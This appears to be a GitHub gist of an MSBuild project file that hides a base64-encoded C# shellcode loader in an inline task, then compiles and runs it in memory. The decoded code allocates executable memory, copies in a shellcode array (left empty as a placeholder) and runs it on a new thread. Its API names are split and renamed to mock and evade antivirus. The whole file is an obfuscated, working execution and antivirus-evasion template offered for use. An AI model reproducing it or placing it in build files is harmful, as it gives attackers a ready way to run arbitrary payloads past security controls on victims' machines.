Created
September 14, 2017 20:08
-
-
Save curi0usJack/4498c0e35ef15d623def9eb37d2a8bab to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<Target Name="Business"> | |
<BusinessTime /> | |
</Target> | |
<UsingTask | |
TaskName="BusinessTime" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<ParameterGroup/> | |
<Task> | |
<Using Namespace="System" /> | |
<Using Namespace="System.Runtime.InteropServices" /> | |
<Using Namespace="System.Reflection" /> | |
<Using Namespace="System.Text" /> | |
<Using Namespace="System.CodeDom.Compiler" /> | |
<Using Namespace="Microsoft.CSharp" /> | |
<Code Type="Fragment" Language="cs"> | |
<![CDATA[ | |
string strb64 = "dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpuYW1lc3BhY2UgQ3VzdG9tCnsKICAgIHB1YmxpYyBjbGFzcyBQcm9ncmFtCiAgICB7CiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIE1haW4oKQogICAgICAgIHsKICAgICAgICAgICAgYnl0ZVtdIHNjID0gbmV3IGJ5dGVbXSB7IH0gLy9zaGVsbGNvZGUgZ29lcyBoZXJlLgoJCQkKICAgICAgICAgICAgVUludDMyIGZhID0gQVZCbG93cygwLCAoVUludDMyKXNjLkxlbmd0aCwgMHgxMDAwLCAweDQwKTsKICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHNjLCAwLCAoSW50UHRyKShmYSksIHNjLkxlbmd0aCk7CiAgICAgICAgICAgIEludFB0ciBodCA9IEludFB0ci5aZXJvOwogICAgICAgICAgICBVSW50MzIgdGhyZWFkSWQgPSAwOwoKICAgICAgICAgICAgSW50UHRyIHBpbmZvID0gSW50UHRyLlplcm87CiAgICAgICAgICAgIGh0ID0gU2NyZXdBVigwLCAwLCBmYSwgcGluZm8sIDAsIHJlZiB0aHJlYWRJZCk7CgogICAgICAgICAgICBoYWhhQVYoaHQsIDB4RkZGRkZGRkYpOwogICAgICAgIH0KCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIiLCBFbnRyeVBvaW50PSJWaXIiICsgInR1YWxBIiArICJsbG9jIildCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIFVJbnQzMiBBVkJsb3dzKFVJbnQzMiBscFN0YXJ0QWRkciwgVUludDMyIHNpemUsIFVJbnQzMiBmbEFsbG9jYXRpb25UeXBlLCBVSW50MzIgZmxQcm90ZWN0KTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VyIiArICJuZWwzMiIsIEVudHJ5UG9pbnQ9IkNyZWF0ZSIgKyAiVGhyZWFkIildCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIEludFB0ciBTY3Jld0FWKFVJbnQzMiBscFRocmVhZEF0dHJpYnV0ZXMsIFVJbnQzMiBkd1N0YWNrU2l6ZSwgVUludDMyIGxwU3RhcnRBZGRyZXNzLCBJbnRQdHIgcGFyYW0sIFVJbnQzMiBkd0NyZWF0aW9uRmxhZ3MsIHJlZiBVSW50MzIgbHBUaHJlYWRJZCk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgRW50cnlQb2ludD0iV2FpdEYiICsgIm9yU2luIiArICJnbGVPYmplY3QiKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gVUludDMyIGhhaGFBVihJbnRQdHIgaEhhbmRsZSwgVUludDMyIGR3TWlsbGlzZWNvbmRzKTsKICAgIH0KfQo="; | |
string code = Encoding.UTF8.GetString(System.Convert.FromBase64String(strb64)); | |
CSharpCodeProvider prov = new CSharpCodeProvider(); | |
CompilerParameters parms = new CompilerParameters(); | |
parms.GenerateInMemory = true; | |
parms.GenerateExecutable = false; | |
CompilerResults results = prov.CompileAssemblyFromSource(parms, code); | |
Assembly assembly = results.CompiledAssembly; | |
Type program = assembly.GetType("Custom.Program"); | |
MethodInfo main = program.GetMethod("Main"); | |
main.Invoke(null, null); | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment